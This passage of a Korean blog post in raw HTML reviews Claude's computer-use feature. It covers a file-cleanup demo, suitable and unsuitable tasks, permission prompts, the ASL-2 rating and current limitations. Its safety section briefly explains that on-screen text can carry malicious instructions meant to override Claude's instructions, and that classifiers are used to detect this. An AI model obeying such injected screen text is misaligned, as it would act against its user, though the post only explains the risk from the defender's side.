&lt;p style=&quot;margin-top: 10px; margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Mac의 &lt;b&gt;QuickTime Player&lt;/b&gt;로 화면 녹화를 시작한 뒤 Claude에게 지시하면 된다. 처음엔 앱 접근 권한 허용 팝업이 뜨는데, 이것도 영상의 일부로 담으면 'Permission-First' 구조를 자연스럽게 설명할 수 있다. 작업 속도는 기대보다 느릴 수 있으니 &lt;b&gt;간단한 작업부터&lt;/b&gt; 시작하는 것을 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 내 맥북 바탕화면에 불필요한 캡쳐 파일들을 정리 하는게 목적&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 핸드폰에서 요청&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1578&quot; data-origin-height=&quot;1972&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Xd0PD/dJMcaaq9bj7/FwB6A38kSTLWrpHZQBori0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Xd0PD/dJMcaaq9bj7/FwB6A38kSTLWrpHZQBori0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Xd0PD/dJMcaaq9bj7/FwB6A38kSTLWrpHZQBori0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXd0PD%2FdJMcaaq9bj7%2FFwB6A38kSTLWrpHZQBori0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;287&quot; height=&quot;359&quot; data-origin-width=&quot;1578&quot; data-origin-height=&quot;1972&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 요청 직전의 맥북 화면과, 정리 목푶 이미지들&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3444&quot; data-origin-height=&quot;2172&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c07CnH/dJMcabwNB3M/e5KldvV2vOgr72W26HTSo1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c07CnH/dJMcabwNB3M/e5KldvV2vOgr72W26HTSo1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c07CnH/dJMcabwNB3M/e5KldvV2vOgr72W26HTSo1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc07CnH%2FdJMcabwNB3M%2Fe5KldvV2vOgr72W26HTSo1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3444&quot; height=&quot;2172&quot; data-origin-width=&quot;3444&quot; data-origin-height=&quot;2172&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 권한 요청이 뜬다 (폰, 맥북 모두 노출) &amp;gt; 권한 허용을 해주자.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 휴대폰&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;902&quot; data-origin-height=&quot;1986&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/diHh0i/dJMcad2pEJc/NEYiUUMdQeb8csOmnh1Tp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/diHh0i/dJMcad2pEJc/NEYiUUMdQeb8csOmnh1Tp1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/diHh0i/dJMcad2pEJc/NEYiUUMdQeb8csOmnh1Tp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdiHh0i%2FdJMcad2pEJc%2FNEYiUUMdQeb8csOmnh1Tp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;366&quot; height=&quot;806&quot; data-origin-width=&quot;902&quot; data-origin-height=&quot;1986&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;ex) 맥북&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2092&quot; data-origin-height=&quot;2170&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Wr3yv/dJMcah4Sp3J/KsTfgHkqS4C47aPulbZDN0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Wr3yv/dJMcah4Sp3J/KsTfgHkqS4C47aPulbZDN0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Wr3yv/dJMcah4Sp3J/KsTfgHkqS4C47aPulbZDN0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWr3yv%2FdJMcah4Sp3J%2FKsTfgHkqS4C47aPulbZDN0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2092&quot; height=&quot;2170&quot; data-origin-width=&quot;2092&quot; data-origin-height=&quot;2170&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;-&amp;nbsp; cowork 재시작을 해주자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;798&quot; data-origin-height=&quot;910&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wa0CW/dJMcabwNCgy/ZybbD4X5LoIpl3TJJyzGIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wa0CW/dJMcabwNCgy/ZybbD4X5LoIpl3TJJyzGIK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wa0CW/dJMcabwNCgy/ZybbD4X5LoIpl3TJJyzGIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwa0CW%2FdJMcabwNCgy%2FZybbD4X5LoIpl3TJJyzGIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;292&quot; height=&quot;333&quot; data-origin-width=&quot;798&quot; data-origin-height=&quot;910&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 삭제 라는 작업은 당연히 위험하니 권한 요청이 필요 할 것 이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;886&quot; data-origin-height=&quot;792&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vDARo/dJMb99MvfxY/cqmFDNLHCs9WyPzQHpkHa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vDARo/dJMb99MvfxY/cqmFDNLHCs9WyPzQHpkHa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vDARo/dJMb99MvfxY/cqmFDNLHCs9WyPzQHpkHa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvDARo%2FdJMb99MvfxY%2FcqmFDNLHCs9WyPzQHpkHa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;288&quot; height=&quot;257&quot; data-origin-width=&quot;886&quot; data-origin-height=&quot;792&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 처리 과정&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 크롬이 Browser를 처리할때처럼 주황 테두리로 감싸지며, Claude is using your computer 라는 문구가 노출된다.&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3438&quot; data-origin-height=&quot;2228&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cB5gbF/dJMcahw2PkK/JtSkKY8lCVGGx8pmXHFxz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cB5gbF/dJMcahw2PkK/JtSkKY8lCVGGx8pmXHFxz0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cB5gbF/dJMcahw2PkK/JtSkKY8lCVGGx8pmXHFxz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcB5gbF%2FdJMcahw2PkK%2FJtSkKY8lCVGGx8pmXHFxz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3438&quot; height=&quot;2228&quot; data-origin-width=&quot;3438&quot; data-origin-height=&quot;2228&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 코워크를 화면에서 잠깐 치워두고, 모든 사진을 선택하는모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2308&quot; data-origin-height=&quot;1758&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dHt15e/dJMcadH7xci/OvRKU1SHlwIW65BCkS8HWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dHt15e/dJMcadH7xci/OvRKU1SHlwIW65BCkS8HWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dHt15e/dJMcadH7xci/OvRKU1SHlwIW65BCkS8HWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdHt15e%2FdJMcadH7xci%2FOvRKU1SHlwIW65BCkS8HWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2308&quot; height=&quot;1758&quot; data-origin-width=&quot;2308&quot; data-origin-height=&quot;1758&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 잘 삭제한 후 레포팅 해준다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2360&quot; data-origin-height=&quot;1800&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHT0Ya/dJMcacJhocG/hKHmjcM8BAhEeI1lIm7B6k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHT0Ya/dJMcacJhocG/hKHmjcM8BAhEeI1lIm7B6k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHT0Ya/dJMcacJhocG/hKHmjcM8BAhEeI1lIm7B6k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHT0Ya%2FdJMcacJhocG%2FhKHmjcM8BAhEeI1lIm7B6k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2360&quot; height=&quot;1800&quot; data-origin-width=&quot;2360&quot; data-origin-height=&quot;1800&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;796&quot; data-origin-height=&quot;444&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvvbrk/dJMcaaq9bEC/3AafOXbTZkdkmw4sASImZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvvbrk/dJMcaaq9bEC/3AafOXbTZkdkmw4sASImZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvvbrk/dJMcaaq9bEC/3AafOXbTZkdkmw4sASImZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcvvbrk%2FdJMcaaq9bEC%2F3AafOXbTZkdkmw4sASImZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;796&quot; height=&quot;444&quot; data-origin-width=&quot;796&quot; data-origin-height=&quot;444&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;적합한 작업 vs 아직 피해야 할 작업&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;적합한 작업&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 15px; text-align: left; font-weight: 600;&quot;&gt;아직 피해야 할 작업&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;파일 정리, 이름 변경, 폴더 분류&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;은행/결제 등 금융 거래&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;이메일/문서 요약 및 보고서 초안&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;비밀번호, API 키 등 민감 정보 입력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;브라우저에서 정보 수집 및 리서치&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;정밀한 드래그 앤 드롭이 필요한 디자인 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;IDE에서 코드 수정, 테스트, PR 제출&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;실시간 알림에 즉각 반응해야 하는 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;반복적인 데이터 입력/수집&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;시간에 민감한 주식 거래 등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;법률 문서 또는 계약서 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;&amp;nbsp;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px;&quot;&gt;의료&amp;middot;건강 정보 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;속도에 대한 기대치&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;커넥터를 통한 작업(Slack 메시지 전송 등)은 수 초 내에 완료되지만, 화면 제어 기반 작업은 스크린샷 캡처 &amp;rarr; 분석 &amp;rarr; 액션의 사이클을 반복하므로 &lt;b&gt;상대적으로 느리다&lt;/b&gt;. 공식적인 속도 수치는 발표되지 않았지만, API 대비 화면 제어가 느리다는 점은 Anthropic도 인정한 사항이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: 안전성과 보안 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 안전성과 보안&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Permission-First 접근&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 Computer Use를 &lt;b&gt;Permission-First(허가 우선) 접근 방식&lt;/b&gt;으로 설계했다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;앱별 승인:&lt;/b&gt; Claude가 새로운 앱에 접근하기 전에 반드시 사용자의 허가를 요청한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;즉시 중단:&lt;/b&gt; 사용자가 언제든지 Claude의 작업을 중단할 수 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;접근 제한:&lt;/b&gt; 일부 앱은 안전상의 이유로 기본적으로 접근이 차단되어 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;프롬프트 인젝션 방어&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트 인젝션&lt;/b&gt;은 Computer Use에서 특히 중요한 보안 이슈다. Claude가 인터넷에 연결된 화면의 스크린샷을 해석하기 때문에, 악의적인 지시가 포함된 콘텐츠에 노출될 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic의 대응:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;전용 분류기(Classifier) 배치:&lt;/b&gt; 화면에 표시된 악의적 텍스트가 Claude의 지시를 덮어쓰려 할 때를 감지하는 전용 분류기를 운용한다. Anthropic은 &quot;classifiers&quot;와 &quot;safeguards&quot;라는 용어를 공식적으로 사용하며, Computer Use 세션 중 이를 통해 악의적 사용을 탐지하고 방어한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;안전 장치 레이어:&lt;/b&gt; 분류기 외에도 다층적인 안전 장치를 적용하여 프롬프트 인젝션 시도를 차단한다&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: 리서치 프리뷰 주의사항&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 리서치 프리뷰 기간 동안 다음을 권고한다:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;신뢰할 수 있는 앱&lt;/b&gt;부터 시작하기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;민감한 데이터&lt;/b&gt;를 다루지 않기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;안전 가이드라인 확인: support.claude.com/en/articles/14128542&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;AI Safety Level 평가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 2024년 10월 Computer Use 첫 공개 당시, &lt;b&gt;Responsible Scaling Policy(책임 있는 확장 정책)&lt;/b&gt;에 따라 이 기능을 &lt;b&gt;ASL-2&lt;/b&gt;로 평가했다. ASL-2는 현재의 보안 체계로 위험을 관리할 수 있는 수준을 뜻한다. RSP는 모델 단위가 아닌 역량 임계값 기준으로 안전 등급을 판단한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;왜 지금 출시했는지에 대해서도 Anthropic은 솔직하다 (2024년 10월 기술 블로그):&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f0f0; border-left: 4px solid #888; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;아마도 지금, 모델이 여전히 ASL-2 수준의 보호만 필요한 시점에 Computer Use를 도입하는 것이 더 나을 것이라고 판단합니다. 이렇게 하면 위험이 너무 높아지기 전에 안전 이슈에 대응할 수 있습니다.&quot;&lt;br /&gt;&lt;span style=&quot;font-style: normal; font-size: 13px; color: #666;&quot;&gt;&amp;mdash; anthropic.com/news/developing-computer-use&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: 현재 한계 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 현재 한계와 솔직한 평가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Anthropic이 인정한 제약사항&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic은 과장 없이 한계를 인정한다. 공식 블로그 원문:&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f0f0; border-left: 4px solid #888; padding: 15px 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;현재 최고 수준임에도 불구하고, Claude의 Computer Use는 여전히 느리고 오류가 잦습니다.&quot;&lt;br /&gt;&lt;span style=&quot;font-style: normal; font-size: 13px; color: #666;&quot;&gt;&amp;mdash; anthropic.com/news/developing-computer-use&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;구체적인 제약사항:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;복잡한 작업:&lt;/b&gt; 복잡한 작업은 여러 번 시도해야 성공하는 경우가 있다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;속도:&lt;/b&gt; 화면 기반 조작은 직접 API 통합보다 느리다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;일부 앱 제한:&lt;/b&gt; 안전상의 이유로 기본적으로 접근이 차단된 앱이 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;플립북 방식의 한계&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;스크린샷 기반(앞서 설명한 &quot;플립북 방식&quot;)이라서 생기는 태생적 한계도 있다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
